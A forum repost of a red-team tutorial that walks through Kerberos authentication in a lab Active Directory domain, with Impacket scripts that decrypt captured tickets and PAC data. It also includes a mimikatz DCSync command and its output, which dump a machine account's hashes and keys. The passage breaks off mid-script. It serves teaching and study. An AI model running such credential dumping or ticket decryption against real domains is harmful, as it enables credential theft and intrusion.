Nytro Posted May 9, 2020 Report Posted May 9, 2020 ACTIVE DIRECTORY RED TEAMING • APRIL 28, 2020 • 84 MIN READ Windows authentication attacks part 2 – kerberos Kerberos authentication is one of the cores of the AD, knowing how it works facilitates the deep understanding of many attacks. 13 0 TWEET SHARE Overview Table of Contents Kerberos is a centralized authentication protocol, works using tickets instead of the challenge-response mechanism. Unlike the permanent channels between the client and the servers which are required and used when authenticating and using service via NTLM, Kerberos depends on stateless login mechanism using trust between the parties involved in the authentication process instead. The client simply asks for a ticket that proof it’s identity, cache it and uses it when connecting to services. There is no open tunnel between the client and the service for authentication, actually, the whole authentication process (In normal scenarios) takes place between the client and the KDC before even connecting to the service. Before proceeding with Kerberos details, we need to make a quick overview regarding Kerberos and put some terms which will be used heavily within this post 1 – Client: this can be any machine requesting access to any service over the network 2 – Key Distribution Center (KDC) which handle the Kerberos authentication requests, it’s usually the domain controller or at least has access to the users and services secrets (Hashes) and consists of 2 services, A – Authentication server (AS) which receives the client’s authentication requests B – Ticket Granting Service (TGS), which issue tickets to the client to access the services he needs. 3 – Service: The service you need to gain access to, Both Clients and Services are considered as principals, more on that later. 4 – Realm, which is the uppercase value of the Domain name in the AD environments. I don’t want to flood your brain with terms, so the rest will follow just in their place during walking through the authentication process, but for now, keep the following on mind: 1 – The whole Kerberos authentication process is going between Client, KDC and service, also it’s centralized and depends on the trust of the client and the service with the KDC. The KDC has access to users and services credentials, it uses these credentials (Secrets) of both user and service to assure the integrity of the user through a cryptographic process which is the main focus of this post. 2 – Kerberos is used for authentication, not authorization. This means that Kerberos will help you verify the user’s identity by checking his login data, but yet it won’t help you to verify if the user has or doesn’t have access to the service. If John is trying to access MSSQL service at 10.0.0.2, Kerberos will validate John’s login credentials, but won’t validate if John has access to the Databases on that MSSQL service or not. The authorization step depends on the service, Privileged Attribute Certificate (PAC) and the local machine’s or service’s policies are usually used for that matter as will mentioned later. 3 – Kerberos authentication is host-based, not IP based like NTLM, mean if You got a service hosted at machine win2012.jnkfo.lab (192.168.18.12), You should connect to the hostname of the machine instead of the IP address, otherwise, windows will pick up the NTLM authentication instead of Kerberos. Example: using windows 10 to connect to SMB at win2012.jnkfo.lab (192.168.18.12) using IP address directly. NTLM authentication was used, unlike connecting using the hostname where Kerberos authentication is used by default. This is happening because Kerberos requires a Service Principle Name (SPN) while connecting, and before Windows 10 version 1507 and Windows Server 2016 IP addresses couldn’t be used as a part of the SPN name, the only hostname could be used. More about that at the SPNs part. Service Principal Names (SPNs) As mentioned earlier, Users and Services which are used through the Kerberos authentication process are called principals, These principals should have a specific formatted name that complies with Kerberos requirements. You should differentiate between UPN which is the user principal name and SPN which is the Service principal name So to connect to an SMB service at host win2012.jnkfo.lab which has the IP address of 192.168.18.12 By default, Kerberos isn’t used to authenticate your client with the SMB using the IP address, it requires what’s called the SPN, which take the following formats ServiceClass/Host:Port So for MsSQL, You will find the following SPN C:\Users\Administrator>setspn -L jnkfo\mssqlserver Registered ServicePrincipalNames for CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab: MSSQLSvc/win2012.jnkfo.lab:1433 MSSQLSvc: is the service class win2012.jnkfo.lab: is the Host where the service can be found 1433: is the port on which the service is running. Sysadmins can register the service without adding the port number, it’s not mandatory but it’s needed in several cases. Services SPNs must be set before using Kerberos for authentication, otherwise, You’ll get a KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN error An SPN can be registered using setspn -A ServiceClass/Hostname:Port Domain\Username Now I can connect to the service normally After windows server 2016 and Windows 10 version 1507 IP addresses can be used as a part of the SPN, but that’s not the default and requires updating the client’s settings which aren’t our concern today, more details can be found here There are several default SPNs for windows including CIFS, LDAP, Host, terminal services… etc The Host SPN itself including several services beneath it, You will find that the “host” SPN is called when executing certain functions. These services can be obtained from the ADSI host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyagent,oakley, dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,plugplay,protectedstorage, rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule, tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdt So don’t get confused when you find the “host” SPN at Wireshark while connecting to some services. Summary SPNs are used when authenticating to any service using Kerberos, the service must have a registered SPN in order for Kerberos to be used for authentication. SPN’s format is ServiceClass/host:port Kerberos authentication Setting up Assume user jnkfo\win10user need to connect to SMB service at win10.jnkfo.lab, I will use Impacket to do so and Wireshark to track everything The following code will do so from impacket.smbconnection import SMBConnection smbconn = SMBConnection("win10.jnkfo.lab", "192.168.18.10") login = smbconn.kerberosLogin("win10user", "P@ssw0rd", "jnkfo.lab", "","","", kdcHost="192.168.18.2") print login Hostname : win10.jnkfo.lab Host IP: 192.168.18.10 username: win10user Domain name: jnkfo.lab KDC Host (Domain controller) : 192.168.18.2 Before executing the code, launch Wireshark and use the following filter “kerberos or smb or smb2” to track just the smb and Kerberos packets Once u execute the command, you will see some packets in Wireshark Once you got that, we’re ready to go. In a nutshell Let’s split the connection into 2 parts, 1 – Client <—-> KDC 2 – Client <—-> Service I won’t discuss the SMB negotiation here, it’s already discussed in the previous part, we’re more interested in the Kerberos auth process. First, the client is contacting the KDC to retrieve a ticket, Then, the client presents that ticket to the service, as proof of his identity. The 1st part (Client <—-> KDC) involves the following 1 – AS-REQ (Authentication request): The client hashes the user’s password, uses that hash to encrypt the current timestamp, and sends the encrypted timestamp to the KDC. The KDC already has a copy of the user’s hash so it uses the hash and tries to decrypt that message to retrieve the timestamp. If the decryption is successful, then the KDC knows that the client used the correct hash and hence proved his identity to that KDC 2 – AS-REP (Authentication reply): The Authentication service (AS) replies with two messages A – A session key encrypted using the user’s hash, that key will be used for future messages. B – TGT (ticket-granting ticket), That TGT contains information regarding the user and his privileges on the domain, This message is encrypted using the hash of the KRBTGT account’s password. That hash is known only to the KDC, so only the KDC can decrypt the TGT. 3 – TGS-REQ (Ticket Granting Service request): The client now has the TGT, he then requests a ticket to access the service he wants, so the client encrypts that request using the session key and sends it to the KDC which will decrypt and validate it. The TGT is also sent in that request. 4 – TGS-REP: After validating the TGT the KDC responds with two messages A – A message specialized for the targeted service, encrypted with the service’s hash which is stored at the KDC, this includes the information in the TGT as well as a session key B – A message for the client containing a session key for further requests between the client and the service he asked to access, which is encrypted using the key retrieved from the AS-REP step. The 2nd part Client <—-> Service The client presents the message (TGS) from the TGS-REP step while connecting to the service along with an encrypted part, called authenticator message, this part includes the user’s name and timestamp which was encrypted and will be decrypted using the service session key. Then compare the username and timestamp from the TGS with the username and timestamp from the authenticator message. That’s how Kerberos works without digging deep, but that’s not enough AT ALL to understand Kerberos attacks. It’s better to dig deeper in each message and how it’s working, the information it contains, and what each piece of information will be used for. That’s what I will be discussing using the packets I’ve captured earlier Pre AS-REQ 1 – The client tries to send an AS-REQ message to the KDC containing the following information The 1st part includes The message type or the Application class tag number (10) Kerberos version (pvno = 5) The padata which contains the authentication type 128 (PA-PAC-REQUEST) which indicates either PAC is present or not, in this case, you’ll find that Kerberos.include_pac is true so it means “no PAC is present, include the PAC” The 2nd part includes the ticket flags or attributes Forwardable: The ticket can be forwarded, This flag is typically set during the AS exchange and is used by the TGS when issuing tickets. proxiable: the ticket can be sent to a proxy and used by a proxy. renewable: The client can request to have the ticket renewed instead of having a new ticket issued when the current expires The 3rd part includes CnameString: which is the username we’re using to login “win10user“ realm: which is the uppercase of the full name of the domain we’re logging in to “jnkfo.lab” The 4th part includes SnameString: which is the name of the Kerberos service we need (krbtgt in that case) realm: which is the uppercase of the full name of the domain “jnkfo.lab” The 5th part includes the encryption algorithm which will be used (AES256 in this case) The full message is in plaintext, no secrets are shared at all KRB5KDC_ERR_PREAUTH_REQUIRED The KDC responds to the client that it needs more information to prove that he own the password (key) of the user he’s authenticating as that’s the part in which the user’s password or hash is needed. You’ll find many old parameters included in the message already, but yet some new parameters are sent to the client stime: The current server time susec: The server’s timestamp in microseconds salt: JNKFO.LABwin10user And obviously the error code AS-REQ From now and on you’ll notice that there is an encrypted part and a plaintext part, this will be obvious in a few seconds. In this step, the user’s hash will be used to encrypt the timestamp and send it to the KDC, The packet includes This request includes everything in the 1st AS-REQ message including Cname: already discussed, contain the client principal name (win10user@JNKFO.LAB) Sname: already discussed, contains the service principal name (krbtgt@JNKFO.LAB) and more importantly, the encrypted timestamp part which can be found at the cipher field. The value is : e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39 etype: which is the encryption type used while encrypting the timestamp, which is AES256 to decrypt that message we need to get the AES256 key for the user, then use it to decrypt the cipher The following code will help from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum from pyasn1.codec.der import decoder, encoder cipher = _enctype_table[18] password = "P@ssw0rd" salt = "JNKFO.LABwin10user" key = cipher.string_to_key(password, salt, None) #hexlify(key.contents) mycipher = "e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39" enctimestamp = cipher.decrypt(key, 1, unhexlify(mycipher)) dec = decoder.decode(enctimestamp) for i in dec: print i This will produce the following output, which is the clear text timestamp Sequence: field-0=20200424142303Z field-1=197279 The message is sent to to the KDC which will proceed with the authentication process AS-REP The KDC has a copy of the user’s key, so if the user encrypted the timestamp using the correct key, the KDC will be able to decrypt it and hence the KDC assured that the client used the user’s correct password. Once this step is done the KDC generates a random session key, sends the AS-REP (Authentication reply), which contain 2 messages Message A Which is encrypted using the user’s secret key, and so it can be decrypted and read by the user. The message contains the following information TGS session key TGS name Timestamp Lifetime We can decrypt and read these data using win10user’s key, let’s get the key directly from the DC instead of generating it using the plaintext password The Etype in the packet is 18, meaning we will need the AES256 key, Using the following script to decrypt the cipher in message A will help us understand what’s going on from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum cipher = _enctype_table[18] key = Key(18, unhexlify("1ed620f476644bb555227e913400edf446980824f60564ee4bd3430ca34981c1")) mycipher = "d20a921ad48dbdf8616f85e05418466c8021f7b45b8adf4ffa59940260c23c2e1eb88fcb2603a6625c81d0a7c840db62bf7cbb4e22d5de52f303155a0098f3e7ea3a98d226c3ff572429df5156656c51d8880bd87c355929189f501970bcd8aeef6405e908131f26c8701075b2314a96de39e4727698081e989bb35716c5dc3081bd071d1c9938b078a170a5697fd3dbe1879ed48a490c8914221d94feb13e126a011dad7584bd1db525dabd159534e936578ff1e4120c3183367d190587aaf64e51e2c140542dbcc170c933cb62ebe3a736674054fa6921732351b5854e6918d79e1614983a224b20af9bc36c28e89a404aa736b6405ed18cd21a5eb7c8a82b5112287aeb650757cd4e" jnk = cipher.decrypt(key, 3, unhexlify(mycipher)) dec = decoder.decode(jnk) for i in dec: print i The output is Sequence: field-0=Sequence: field-0=18 field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64 field-1=SequenceOf: Sequence: field-0=0 field-1=20200424142303Z field-2=755736468 field-3=20200524145835Z field-4=1356922880 field-5=20200424142303Z field-6=20200424142303Z field-7=20200425002303Z field-8=20200425142303Z field-9=JNKFO.LAB field-10=Sequence: field-0=1 field-1=SequenceOf: krbtgt JNKFO.LAB You will notice some familiar fields, such as the The TGS service name: krbtgt Realm: jnkfo.lab Session key : 0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64 Timestamp: 20200424142303 Message B (TGT) This includes a plaintext part that contains the SPN (TGS name <krbtgt>) and an encrypted part which is making the Ticket Granting Ticket (TGT). The 2nd part (enc-part) contains the following information Username Realm Session key Timestamp Lifetime That part is encrypted using the krbtgt key, which only the KDC knows, and so only KDC can decrypt this part. We can get the krbtgt key using the same method explained at Message A, and so we can decrypt that cipher using the following code from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum cipher = _enctype_table[18] key = Key(18, unhexlify("8b4b161245435ee310d420c195995f2d22b88c680dae09196cd29e4e05723638")) mycipher = "65c0e02f31835d711d581eafba47461c767aaae82cc2677925822df7ba88fcf2ae1b06c239028c22ab0b69ecb4ccd0da2cc3d5fdbb3f3144f5cee858ce152865dcc6bcf5a6c7288926c85ac7a89c8ce911ebe34bf8f3575ba395b21cdfa74b6103ab7441ed4afa07804dc22a34f102f737c05f2a10ca1b99d926ac13e2f563ccac3cfbdd6049d076803609595b77ff76eaa3a0a18209b7b4159ad8ec2ec9d1c164ebff949918dedf153d9d881d182cad5e1a3f1fc61bd23f4eee710812d8b0bfe5b4d0140700f1efdd2dec1a9f2190a4956bcf4362d101399f910bcbe339f8de33715b947fb7d56d2cd0622dd994963583e9cce686737bd6623b28b18e28eb29a319b4c64f50c28e8736c218039196907e9e5694d2a017bf714b6a94315e32395447e46a34d8dbe9a24d05c95f596ef263ee73e0ff221592631da6ecf5baa07c7441ddd66dd53813d81639be67203a86bd63b188894c30c80b4bf9bc100f0ea8a9d9a5712dc3e311f82c04a2fe01ec73f804e839b7030530952e79fd34df82436665c9a8d8399ffe2f36c611010137cee12847ae04803a54390ad907ca03cbf8a3fe3db1be254861d70aa93b43b3e0ee669dc221297782e3e3e4b6c25c4b6e8f7621e4efc568afd40be7dd9bda17b01282461ee5cf562ca1cdea820d13cdb1fa007e3bde2102bd0ca24e1527dcb0772bb98b7dc0f17c2b699657a6678d73fecc99545e76fcd9fff75598b8129222117f19e56536406cdb42f9fb1ea3820d8c33687dd2e87ba361794841b23fab0d8c8a37d6cd3fe2d033bd861ff89e3ecc894b20b88af2881af91ea3a2b5f26fb5a958292da07bde177cc6a1a7eec04cfdf028366e51fdf0d5a977ce513bbd146c567d15eee7f5e396c2ee9f3e5658b33f5a8c1d60e3fb3e6302df7eba13ba229a2b2b76b52f67a3305e9519a476682c57637822f4f8f3795e50ac9d3095e42bd65ccf5424b1876bbc1e383f188a70876bd44d3212884b6ccd84b35690ea7ee24e9c7495414720ed1958a27f6f66cafc3b2fade20cbc36fde6d88060d19e027f2b4c2d99e77660b2c1f3c9fa70e7e33e893e695b9effeb60e786ee77728a49c308c587d5be72381b30baac7581e72ffaf181a5a15632f89b0fd148823c5ef4f91b631f60733afb0fcbb721b619b7fe6ce86d68b4d056ccf65ab8fea967140590b3318d0869576fd77cce2b0306121b86b45e0584255f37c788b5f888ef41167d74eb0374c7d6fd925f9f82822fdb579f00693494d3ff4334fccec6e1b9eb97ebbc6108f6c59e53078b039ec818fdf32860be1e5a30210ec821a042de32a9ca47975f" jnk = cipher.decrypt(key, 2, unhexlify(mycipher)) dec = decoder.decode(jnk) for i in dec: print i Output is Sequence: field-0=1356922880 field-1=Sequence: field-0=18 field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64 field-2=JNKFO.LAB field-3=Sequence: field-0=1 field-1=SequenceOf: win10user field-4=Sequence: field-0=0 field-1= field-5=20200424142303Z field-6=20200424142303Z field-7=20200425002303Z field-8=20200425142303Z field-9=SequenceOf: Sequence: field-0=1 field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000f22e9087d4255c88f2db506376ffffffae3c04a84d7d18d4c9282f7a5da45a3400000000 Username and Realm: win10user@JNKFO.LAB Session key: The same session key as the key in message A Timestamp and lifetime PAC data So, at this step, once the client gets these messages, it decrypts Message A using the key derived from the user’s password and obtains the session key which as you noticed is the same in messages A and B. The client can’t decrypt Message B as it’s encrypted using the TGS key (krbtgt hash) as prementioned, but yet the TGT will be stored in the cache to be used later. Now the client needs to get a ticket with which he can access the service he needs, the SMB service with which we were communicating in the 1st place. TGS-REQ At this point, the client will start asking to deal with the targeted service, not the TGT as we were communicating with. So the client sends the TGS-REQ which includes 2 parts, a plaintext part that indicates the service the client needs to access (The SPN) Which cifs/win10.jnkfo.lab and another 2 encrypted messages Message C This contains the TGT which was retrieved from the previous step (Message B) Message D or the Authenticator, which is an encrypted message generated by the client contains the username and the timestamp This message (authenticator) is encrypted using the session key retrieved from Message A The client sends this request to the KDC which do the following Extract the TGT from message C Decrypt the TGT at Message C using the TGS key (krbtgt key which is stored at the KDC), and retrieve the session key, username, and the timestamp from the TGT (message B). Use the session key to decrypt the authenticator which contains the username and the timestamp. Compare the username and timestamp from the TGT (1) with the username and timestamp from the Authenticator (2) Check the TGT lifetime to make sure it’s not expired If everything is ok, then the user proved his identity and the authentication process will go on TGS-REP After validating the client’s identity, the KDC needs to create a TGS, the one which the client will use to authenticate to the service. The KDC generates a random key (Service session key) and sends back the TGS-REP which includes 2 messages. Message E This part includes a plaintext part which contains the SPN the user is trying to access (cifs/win10.jnkfo.lab), and another part which is encrypted using the service key, which means that the user is unable to decrypt or manipulate it, this includes the following information Service session key Username Timestamp Lifetime PAC information as mentioned this part can be decrypted using the service key, for accessing such a service the Kerberos is using the machine key which can be obtained via imikatz # lsadump::dcsync /user:WIN10$ /domain:jnkfo.lab [DC] 'jnkfo.lab' will be the domain [DC] 'DC.jnkfo.lab' will be the DC server [DC] 'WIN10$' will be the user account Object RDN : WIN10 ** SAM ACCOUNT ** SAM Username : WIN10$ Account Type : 30000001 ( MACHINE_ACCOUNT ) User Account Control : 00001000 ( WORKSTATION_TRUST_ACCOUNT ) Account expiration : Password last change : 3/29/2020 7:16:42 PM Object Security ID : S-1-5-21-3178339118-3033626349-2532976716-1105 Object Relative ID : 1105 Credentials: Hash NTLM: 1ad9c160bd7ab9cb4b7c890c96862305 ntlm- 0: 1ad9c160bd7ab9cb4b7c890c96862305 ntlm- 1: 5e591b183142300b96281c9b75aaaf99 lm - 0: 3c0bd3dace8dc8f6fabcb58db7761cf3 lm - 1: 1c9cbdcb85af1552edd2e70e4379563d Supplemental Credentials: * Primary:Kerberos-Newer-Keys * Default Salt : JNKFO.LABhostwin10.jnkfo.lab Default Iterations : 4096 Credentials aes256_hmac (4096) : d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8 aes128_hmac (4096) : 1b972a7269a8d841d15bd32577e39a27 des_cbc_md5 (4096) : b0e97c31dc9edf3b So this part can be decrypted using from impacket.krb5.pac import PACTYPE, VALIDATION_INFO from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum import struct cipher = _enctype_table[18] key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8")) mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1" jnk = cipher.decrypt(key, 2, unhexlify(mycipher)) dec = decoder.decode(jnk)[0] print "------------------- Ticket Data ------------------" print dec the output is Sequence: field-0=1084293120 field-1=Sequence: field-0=23 field-1=0x2c0d86037d0014a317d8c5aee4e8d339 field-2=JNKFO.LAB field-3=Sequence: field-0=1 field-1=SequenceOf: win10user field-4=Sequence: field-0=1 field-1= field-5=20200424142303Z field-6=20200424142303Z field-7=20200425002303Z field-8=20200425142303Z field-9=SequenceOf: Sequence: field-0=1 field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000ad9bd35bb460f8b45d7dd91576ffffff69c616734739a1f74cea493a458977f900000000 You’ll note Encryption type: 23 A service session key: 2c0d86037d0014a317d8c5aee4e8d339 Client name:win10user realm: JNKFO.LAB Timestamp and PAC Message F This message is encrypted using the session key which is already cached at the client (check AS-REP), so the user can decrypt this one easily and obtain Service session key Timestamp Lifetime Service name Note that the Service session key is found in both messages. So let’s decrypt that cipher using from impacket.krb5.pac import PACTYPE, VALIDATION_INFO from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum cipher = _enctype_table[18] key = Key(18, unhexlify("64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64")) mycipher = "7d996b5c8ce08c1f8ab31471dde8d6d892a4f8ff3cec5527f357b425786c05e7f3616f6ea6768c47202924f6a9f86308f3ff873f43e9d9a6715da5cb8ce48b2b8ecfac5e738e03cb0546e870d3d8ed300d5fe009de6e4cea0312f4e1c6ca7ca62c502aedbc45e09bb6617753860e7613be068e27aa993b08619ad6ba148659505ca9443525b63186845ae4a69c383587c742a2cb962ff0d2a8b56edb389987d472d76962d0ddb146f1dfcf198a7f9a96a80c8c39637905dde9e1044774a027f0cc17a553ec8a30e71ecda7f78ef80f20cfec0a5ad5bfdb4560e54fbb9935fd6526b7d6404e43952a07f3fca99bb48a2e0b78fa8b2d2e7008365496a989b573" jnk = cipher.decrypt(key, 8, unhexlify(mycipher)) dec = decoder.decode(jnk)[0] print dec The output is Sequence: field-0=Sequence: field-0=23 field-1=0x2c0d86037d0014a317d8c5aee4e8d339 field-1=SequenceOf: Sequence: field-0=0 field-1=20200424142303Z field-2=2035677725 field-3=1084293120 field-4=20200424142303Z field-5=20200424142303Z field-6=20200425002303Z field-7=20200425142303Z field-8=JNKFO.LAB field-9=Sequence: field-0=2 field-1=SequenceOf: cifs win10.jnkfo.lab field-10=SequenceOf: Sequence: field-0=165 field-1=0x1f000000 Did u notice the 2c0d86037d0014a317d8c5aee4e8d339 ?! So right now the client has obtained the service session key and the service ticket, the client is ready to communicate with the service Accessing the service (AP-REQ) The communication between the client and the KDC is now over, the client needs to access the SMB service. It will do so by sending a couple messages to the service 1 – The service ticket (Message E) which the client got before 2 – Message G or Authenticator message Which consist of a username and the timestamp, This authenticator is encrypted using the service session key which the client obtained in the previous step from the message F. Once the service receives this request, it decrypts the service ticket using its own key Extract the service session key, username, and timestamp Use the service session key to decrypt the authenticator message and retrieve the username and timestamp The server then compares username from the authenticator with the username from the service ticket compares timestamp from the authenticator with the timestamp from the service ticket check the lifetime to make sure that the service ticket isn’t expired If everything is ok, then the authentication process is over, the client is allowed to authenticate to the service as long as the service ticket isn’t expired. Authorization As mentioned earlier, the whole process is about authentication, not authorization. You will notice that there are no privileges checks that took place at all during the entire process, as this will depend on the service or the local machine’s policies itself. For that matter, the PAC part is also attached to the ticket. It includes information about the user group memberships among other information. We can read the PAC attached to the service ticket using from impacket.krb5.pac import PACTYPE, VALIDATION_INFO from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum import struct cipher = _enctype_table[18] key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8")) mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1" jnk = cipher.decrypt(key, 2, unhexlify(mycipher)) dec = decoder.decode(jnk)[0] print "------------------- Ticket Data ------------------" print dec pacData = dec['field-9'][0]['field-1'] decAuthData = decoder.decode(pacData)[0][0]['field-1'] pacBuffers = PACTYPE(str(decAuthData)) pacBuffer = pacBuffers['Buffers'] pacBufferHex = hexlify(pacBuffer) dword = 8 buff = [] for i in range(0,32,dword): buffstr = pacBufferHex[i:i+dword] buffint = int(buffstr,16) buffstr = 